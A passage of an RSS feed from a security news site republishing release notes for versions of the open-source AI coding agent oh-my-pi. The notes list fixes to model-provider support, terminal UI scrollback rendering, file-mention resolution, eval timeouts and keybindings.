<li>fix(ai): preserve kimi-k2.6 reasoning across tool calls by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4587940457" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1839" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1839/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1839">#1839</a></li>
<li>fix(robomp): serialize same-issue event claims by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588054083" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1841" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1841/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1841">#1841</a></li>
<li>fix(tui): list marketplace plugins in settings panel by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588163194" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1844" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1844/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1844">#1844</a></li>
<li>fix(ai): honor Anthropic cache-control compat for OpenAI-compatible providers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588252625" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1847" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1847/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1847">#1847</a></li>
<li>fix(providers): add Xiaomi Token Plan support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588308887" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1848" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1848/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1848">#1848</a></li>
<li>fix(providers): cap Kimi K2.x maxTokens on Fireworks/Fire Pass at 32,768 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588442297" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1852" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1852/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1852">#1852</a></li>
<li>fix(providers): enable append-only auto for xiaomi sgLang endpoints by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588495346" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1854" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1854/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1854">#1854</a></li>
<li>fix(mcp): update completed tool status icons by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588591896" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1856" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1856/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1856">#1856</a></li>
<li>fix(ai): drop image content for DashScope compatible-mode text-only Qwen by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4588990930" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1861" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1861/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1861">#1861</a></li>
<li>fix(coding-agent): restore Exa MCP fallback by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589028789" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1862" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1862/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1862">#1862</a></li>
<li>fix(coding-agent): keep local plan writes off ACP bridge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4589204923" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1864" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1864/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1864">#1864</a></li>
<li>fix(utils): swallow editorconfig probe errors to keep TUI rendering safe by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590382708" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1873" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1873/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1873">#1873</a></li>
<li>fix(utils): tolerate malformed paths in editorconfig indentation lookup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4590394502" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1874" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1874/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1874">#1874</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.0...v15.9.1"><tt>v15.9.0...v15.9.1</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.3]]></title>
<description><![CDATA[@oh-my-pi/pi-coding-agent
Fixed

Fixed @-mention auto-read injecting an unrelated, same-named file when a mention did not point at a real path — e.g. an npm scope like @scope/, a partial path, or a bare token. generateFileMentionMessages resolution previously fell back to prefix and repo-wide fuz...]]></description>
<link>https://tsecurity.de/de/3580236/tools/v1593/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580236/tools/v1593/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:59 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed <code>@</code>-mention auto-read injecting an unrelated, same-named file when a mention did not point at a real path — e.g. an npm scope like <code>@scope/</code>, a partial path, or a bare token. <code>generateFileMentionMessages</code> resolution previously fell back to prefix and repo-wide fuzzy matching (globbing the whole project on every such mention) and auto-read the single "best" guess. Resolution is now exact-only: a mention is auto-read only when it resolves to an existing file or directory; otherwise it is left as prose. The TUI <code>@</code>-selector already inserts the real, complete path before send, so post-send guessing was both unnecessary and the source of the wrong-file reads. Directories still resolve and are listed. Removes the per-mention <code>**/*</code> project scan.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed ED3-risk foreground streaming erasing the head of any block that alone overflows the viewport (a tall tool result drawn in one frame, or a multi-line assistant reply growing past the viewport as it streams). The live-region pin committed native scrollback only up to the sealed-prefix boundary (<code>liveRegionStart</code>), so rows of the live block that had physically scrolled above the viewport top were neither pushed into scrollback nor kept in the repainted viewport — they vanished. The commit boundary is now the viewport top: every row above the viewport enters scrollback (only the tail still visible in the viewport stays transient and deferred to the checkpoint).</li>
<li>Fixed the same ED3-risk live-region pin duplicating already-committed scrollback rows when a foreground stream's live region collapsed mid-turn (a tool preview shrinking to its compact result, an assistant block re-wrapping shorter, a late tool completion). Because growth commits every row above the viewport top to native scrollback, a subsequent shrink moved the bottom-anchored viewport back across those committed rows and the repaint re-drew them into the viewport — so they appeared twice on scroll-up, and with no prompt-submit checkpoint to reconcile (autonomous multi-turn runs, or the session ending into the welcome screen) the duplicate was baked permanently into terminal history. The pinned repaint now separates commit geometry from repaint geometry: a collapse clamps the repaint to the committed sealed boundary (<code>min(#scrollbackHighWater, liveRegionStart)</code>) instead of re-exposing those rows, leaving native scrollback un-duplicated without emitting ED3 under a possibly-scrolled reader; stale mutable live-region saved lines still reconcile at the next checkpoint.</li>
<li>Fixed hiding overlays during ED3-risk foreground streaming on unknown-viewport terminals leaving the overlay's transient rows in native scrollback. Overlay visibility reductions now bypass the streaming deferral path and rebuild once, so hidden dialog/notification sentinels are scrubbed immediately.</li>
<li>Fixed ED3-risk / unknown-viewport terminals (including WSL fronted by Windows Terminal) keeping the foreground-stream eager-rebuild mode active after the stream had already settled. A later scrolled content shrink or resize-with-append could then bypass the anti-yank deferral and repaint from stale geometry, jumping the viewport or replaying the wrong rows. The eager opt-in now drops immediately when no teardown render is pending, and the one-frame post-checkpoint suffix-suppression path no longer overrides geometry reflow handling.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(robomp): parameterize bot identity in system prompts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4597597681" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1933" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1933/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1933">#1933</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/can1357/oh-my-pi/compare/v15.9.2...v15.9.3"><tt>v15.9.2...v15.9.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[v15.9.67]]></title>
<description><![CDATA[@oh-my-pi/pi-ai
Fixed

Fixed llama.cpp/OpenAI Responses parallel tool calls losing arguments when function_call_arguments.done events omit output_index and item_id, by routing those identifierless final-argument events through the open function calls in item order. (#1970)
Fixed local Ollama (ope...]]></description>
<link>https://tsecurity.de/de/3580233/tools/v15967/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3580233/tools/v15967/</guid>
<pubDate>Mon, 08 Jun 2026 02:50:55 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>@oh-my-pi/pi-ai</h2>
<h3>Fixed</h3>
<ul>
<li>Fixed llama.cpp/OpenAI Responses parallel tool calls losing arguments when <code>function_call_arguments.done</code> events omit <code>output_index</code> and <code>item_id</code>, by routing those identifierless final-argument events through the open function calls in item order. (<a href="https://github.com/can1357/oh-my-pi/issues/1970" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1970/hovercard">#1970</a>)</li>
<li>Fixed local Ollama (<code>openai-responses</code>) turns failing with HTTP 400 <code>invalid reasoning value: "minimal"</code> when a discovered model ran with <code>minimal</code> (or <code>xhigh</code>) thinking. Ollama's OpenAI-compatible <code>reasoning.effort</code> only accepts <code>high|medium|low|max|none</code>, so discovered reasoning-capable Ollama models now carry a <code>compat.reasoningEffortMap</code> remapping <code>minimal → low</code> and <code>xhigh → max</code>; non-reasoning models are left untouched.</li>
</ul>
<h2>@oh-my-pi/pi-coding-agent</h2>
<h3>Added</h3>
<ul>
<li>Added <code>timeout-pause</code> and <code>timeout-resume</code> eval bridge status events emitted around <code>agent()</code>/<code>llm()</code> operations</li>
<li>Added a <code>/copy</code> picker: <code>/copy</code> now opens a fullscreen, outlined tree of recent assistant messages with their code blocks nested beneath (like <code>/tree</code>). Navigate with ↑↓, and Enter copies the highlighted node — a whole message, an individual code block, "All N blocks", or a bash/eval command interleaved with the assistant turn that issued it. A live preview pane shows the selected target, wrapping prose and syntax-highlighting code/commands.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed eval timeout accounting so delegated bridge calls now suspend the cell watchdog and start a fresh timeout window when runtime control returns</li>
<li>Changed <code>IdleTimeout</code> to support reference-counted pauses so overlapping delegated bridge calls keep timeout paused until all calls complete</li>
<li>Changed the default <code>app.message.followUp</code> binding from <code>Ctrl+Enter</code> alone to <code>[Ctrl+Q, Ctrl+Enter]</code> so the follow-up shortcut works in Windows Terminal, which does not deliver a distinct <code>Ctrl+Enter</code> event to console apps. <code>Ctrl+Q</code> mirrors the GitHub Copilot CLI default for the same action; existing remaps in <code>~/.omp/agent/keybindings.yml</code> are untouched, and if another user-remapped action already claims <code>Ctrl+Q</code>, that user binding wins while follow-up keeps <code>Ctrl+Enter</code>. <code>Ctrl+Q</code> is also reserved by <code>ExtensionRunner</code> so an extension cannot register that chord and be silently overwritten by the built-in follow-up handler (<a href="https://github.com/can1357/oh-my-pi/issues/1903" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1903/hovercard">#1903</a>).</li>
<li>Changed all scrollable TUI pickers and viewports to render through the shared <code>ScrollView</code> right-edge scrollbar for a uniform look, replacing their ad-hoc <code>(N/M)</code> / <code>[a-b/total]</code> text indicators (search hints and the tree filter-mode label are preserved). Covers the session/resume picker, model selector, OAuth provider selector, history search, session tree selector, agent dashboard list, extension list, user-message selector, the raw SSE debug viewer, the autoresearch dashboard overlay, and the session observer overlay.</li>
<li>Changed the <code>/model</code> and <code>/switch</code> selectors to dim and skip models whose context windows are smaller than the current chat context.</li>
<li>Changed <code>/copy</code> command targets to appear inline with recent assistant messages instead of as a separate "Last bash command" row at the end of the picker.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed the idle <code>Working...</code> loader freezing on ED3-risk terminals with unobservable native scrollback by keeping foreground live-region rendering enabled from <code>agent_start</code> until <code>agent_end</code>, before the first assistant or tool event arrives.</li>
<li>Fixed framed tool output blocks rendering one column inset inside tool boxes; modern bordered blocks now span the same width as legacy background-filled tool boxes.</li>
<li>Fixed potential <code>TimeoutError</code> aborts for short <code>timeout</code> eval cells during long bridged <code>agent()</code>/<code>llm()</code> work where no progress events are emitted until completion</li>
<li>Fixed retry recovery to allow automatic retries without switching models when <code>retry.modelFallback</code> is disabled.</li>
<li>Fixed <code>ttsr.enabled: false</code> being ignored at runtime. TTSR rules were still being registered with <code>TtsrManager.addRule</code> and matched against stream deltas even when the global toggle was off, so disabling TTSR did not suppress rule injection or stream abort. The manager now gates <code>addRule</code>, <code>hasRules</code>, and <code>#matchBuffer</code> on the enabled flag, so disabling fully short-circuits the TTSR path. Condition rules fall through to the rulebook bucket instead of being silently swallowed. (<a href="https://github.com/can1357/oh-my-pi/issues/1767" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1767/hovercard">#1767</a>)</li>
<li>Fixed the Python eval kernel hanging on Windows during <code>import pandas</code> / <code>import numpy</code>, with SIGINT unable to recover the cell. <code>PythonKernel.start()</code> spawned the runner with <code>windowsHide: true</code>, which in Bun maps to the Win32 <code>CREATE_NO_WINDOW</code> flag and detaches the long-lived child from any inherited console — so native extensions like <code>numpy/_core/_multiarray_umath.pyd</code> (and its bundled OpenBLAS/SLEEF thread-pool init) could deadlock inside <code>LoadLibraryExW</code>, and <code>GenerateConsoleCtrlEvent</code>-based SIGINT delivery silently became a no-op. The kernel now hides its window only when the host itself has no console to share (service / piped launch); an interactive TUI launch lets the kernel inherit the parent's console, matching the behavior of <code>python.exe</code> invoked from <code>cmd.exe</code> (<a href="https://github.com/can1357/oh-my-pi/issues/1960" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1960/hovercard">#1960</a>).</li>
<li>Fixed <code>task</code> renderer crashing the TUI with <code>TypeError: completeData?.map is not a function</code> when a subagent's <code>extractedToolData.yield</code> slot held a non-array value. <code>renderAgentResult</code> (and the live-progress sibling) cast the slot to <code>Array&lt;{ data }&gt;</code> and called <code>?.map</code>, but optional chaining short-circuits only on <code>null</code>/<code>undefined</code>, so a plain object made <code>.map</code> <code>undefined</code> and threw — taking down every <code>review</code> task render. Both sites now go through <code>normalizeYieldData</code>, which wraps a single object as a 1-element array and drops primitives (<a href="https://github.com/can1357/oh-my-pi/issues/1987" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1987/hovercard">#1987</a>)</li>
<li>Fixed <code>sdk-async-job-manager-singleton</code> tests flaking under the full parallel suite. The four <code>createAgentSession</code>-based cases ran on the default 5000ms per-test timeout, which two real session startups can exceed when <code>test:ts</code> saturates the machine across packages; on timeout the still-running test body and <code>afterEach</code> reset raced, surfacing a spurious "Unhandled error between tests" on the <code>AsyncJobManager.instance()</code> assertion. They now carry an explicit 60000ms timeout, matching the convention used by the other session-creating tests in this suite.</li>
<li>Fixed streaming <code>eval</code>, <code>bash</code>, <code>ssh</code>, and <code>task</code> call previews overflowing the live transcript viewport and cutting off their top while pending. A volatile tool block taller than the viewport could strand its scrolled-off head out of native scrollback on ED3-risk terminals (committed nowhere, repainted nowhere) until the result landed. The pending <code>eval</code> source preview now follows the streaming edge in a bounded 12-line tail window (newest lines pinned to the bottom, "… N earlier lines" on top) so you can watch the code being written without the box overflowing; <code>bash</code>/<code>ssh</code> commands and <code>task</code> context use a bounded head+tail window. <code>Ctrl+O</code> still lifts the cap for a full view.</li>
<li>Fixed the streaming <code>write</code> call preview ignoring <code>Ctrl+O</code> so the expand toggle was a no-op while a file was being written. Unlike the <code>eval</code>/<code>bash</code>/<code>ssh</code>/<code>task</code> streaming previews, <code>formatStreamingContent</code> never received the <code>expanded</code> flag, leaving the preview pinned to a bounded 12-line tail window even after pressing <code>Ctrl+O</code> — so on a large write you could not widen past the streaming edge until the tool result landed. The preview now lifts the cap to the full file (head through tail) when expanded, matching the documented streaming-preview behavior of the other tools.</li>
<li>Fixed turn-ending provider errors rendering twice — once as the transcript's inline <code>Error: …</code> line and again in the pinned banner above the editor (added in 15.9.5). The inline line is now suppressed while the same error is mirrored in the banner and restored to the transcript when the banner clears at the next turn, so the error stays in history without the duplicate render at the error moment.</li>
</ul>
<h3>Removed</h3>
<ul>
<li>Removed the <code>/copy last|code|all|cmd</code> subcommands; every copy target is now reachable by picking it in the <code>/copy</code> tree.</li>
</ul>
<h2>@oh-my-pi/hashline</h2>
<h3>Breaking Changes</h3>
<ul>
<li>Changed hashline file section headers from <code>¶PATH#TAG</code> to <code>[PATH#TAG]</code> so model-authored edits use ASCII delimiters instead of a pilcrow sigil.</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed missing-header diagnostics and copied-content prefix stripping to consistently teach and recognize 4-hex snapshot tags.</li>
</ul>
<h2>@oh-my-pi/pi-tui</h2>
<h3>Added</h3>
<ul>
<li>Added <code>setPaddingX</code> to <code>Box</code> so horizontal padding can be updated programmatically after creation</li>
<li>Added <code>ScrollView</code>, a fixed-height viewport component for pre-rendered lines with optional right-edge scrollbars and imperative scroll/page controls.</li>
<li>Added optional <code>Terminal.hasEagerEraseScrollbackRisk()</code> so custom/test terminal implementations can override the global ED3-risk profile without mutating the shared <code>TERMINAL</code> object.</li>
</ul>
<h3>Changed</h3>
<ul>
<li>Changed <code>SelectList</code> to render its visible window through <code>ScrollView</code>, replacing the <code>(N/M)</code> text scroll indicator with a uniform right-edge scrollbar (the type-to-search hint line is preserved).</li>
</ul>
<h3>Fixed</h3>
<ul>
<li>Fixed unknown-viewport deferred renders freezing bottom-anchored live chrome; deferred history mutations can now repaint only the active-grid bottom row with relative cursor movement, so spinner/status tails keep advancing without rewriting rows a scrolled reader can still see.</li>
<li>Fixed autocomplete popups freezing live repaint on ED3-risk macOS/POSIX terminals with unknown native viewport position; direct autocomplete shrink frames now repaint the live viewport without zero-byte deferral and preserve the old bottom anchor when padding can clear stale popup rows without duplicating committed scrollback.</li>
<li>Fixed focused Up/Down navigation on ED3-risk macOS/POSIX terminals replaying the whole transcript after dirty foreground-stream renders; selector/editor frames now repaint non-destructively instead of emitting <code>CSI 3 J</code> on every arrow-key move (<a href="https://github.com/can1357/oh-my-pi/issues/1962" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1962/hovercard">#1962</a>).</li>
<li>Fixed tmux (and screen/zellij) pane scrollback losing the head of a long streamed assistant reply once it grew past the visible pane, and stranding the chrome/footer in pane history after a later collapse — producing the "repeating chunks and missing sections" reporters saw when scrolling back through tmux pane history (<a href="https://github.com/can1357/oh-my-pi/issues/1974" data-hovercard-type="issue" data-hovercard-url="/can1357/oh-my-pi/issues/1974/hovercard">#1974</a>). The renderer's foreground-streaming cap-to-viewport branch (introduced in 15.9.2 for ED3-risk hosts that can checkpoint-rebuild later) also activated inside multiplexers, where checkpoint reconcile is a no-op (<code>refreshNativeScrollbackIfDirty</code> short-circuits because <code>\x1b[3J</code> cannot erase pane history). Every streaming frame clipped <code>lines</code> to the visible tail and reset <code>#scrollbackHighWater</code> to 0, so any row that scrolled above the viewport top was committed nowhere — pane history stayed empty until streaming ended. Meanwhile <code>#planLiveRegionPinnedRender</code> was explicitly disabled for multiplexers, but its <code>#emitLiveRegionPinnedRepaint</code> is built from the exact primitives tmux accepts (relative cursor moves, per-line <code>\x1b[2K</code>, <code>\r\n</code> to scroll the sealed prefix past the viewport bottom) and never emits <code>\x1b[2J</code>/<code>\x1b[3J</code>. The pinned planner now runs in multiplexers too, the cap branch skips them, and the diff/append path commits incrementally into pane history; the actively-mutating live tail stays in the visible viewport only.</li>
</ul>
<h2>What's Changed</h2>
<ul>
<li>fix(hashline): accept spaces in edit paths by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4577887168" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1766" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1766/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1766">#1766</a></li>
<li>fix(keybindings): default Ctrl+Q for follow-up so Windows Terminal works by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4594461651" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1905" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1905/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1905">#1905</a></li>
<li>fix(eval): stop detaching the Python kernel's console on Windows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601143511" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1961" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1961/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1961">#1961</a></li>
<li>fix(tui): avoid dirty scrollback replay on arrow input by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601399075" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1963" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1963/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1963">#1963</a></li>
<li>fix(ai): preserve llama.cpp parallel tool arguments by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601897032" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1971" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1971/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1971">#1971</a></li>
<li>fix(tui): honor resume clear replay before initial paint by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4601998309" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1973" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1973/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1973">#1973</a></li>
<li>fix(tui): commit tmux pane history during streaming via pinned emit by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602156805" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1975" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1975/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1975">#1975</a></li>
<li>fix(lsp): support rust-analyzer workspace loading by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602239510" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1977" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1977/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1977">#1977</a></li>
<li>test(tui): widened slash autocomplete settle slack past debounce jitter by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4602571001" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1981" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1981/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1981">#1981</a></li>
<li>fix(coding-agent): guard task renderer against non-array yield slot by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/roboomp/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/roboomp">@roboomp</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603076420" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1989" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1989/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1989">#1989</a></li>
<li>fix(coding-agent): honor ttsr.enabled: false in TtsrManager by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/QianYan-Art/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/QianYan-Art">@QianYan-Art</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4603070748" data-permission-text="Title is private" data-url="https://github.com/can1357/oh-my-pi/issues/1988" data-hovercard-type="pull_request" data-hovercard-url="/can1357/oh-my-pi/pull/1988/hovercard" href="https://github.com/can1357/oh-my-pi/pull/1988">#1988</a></li>
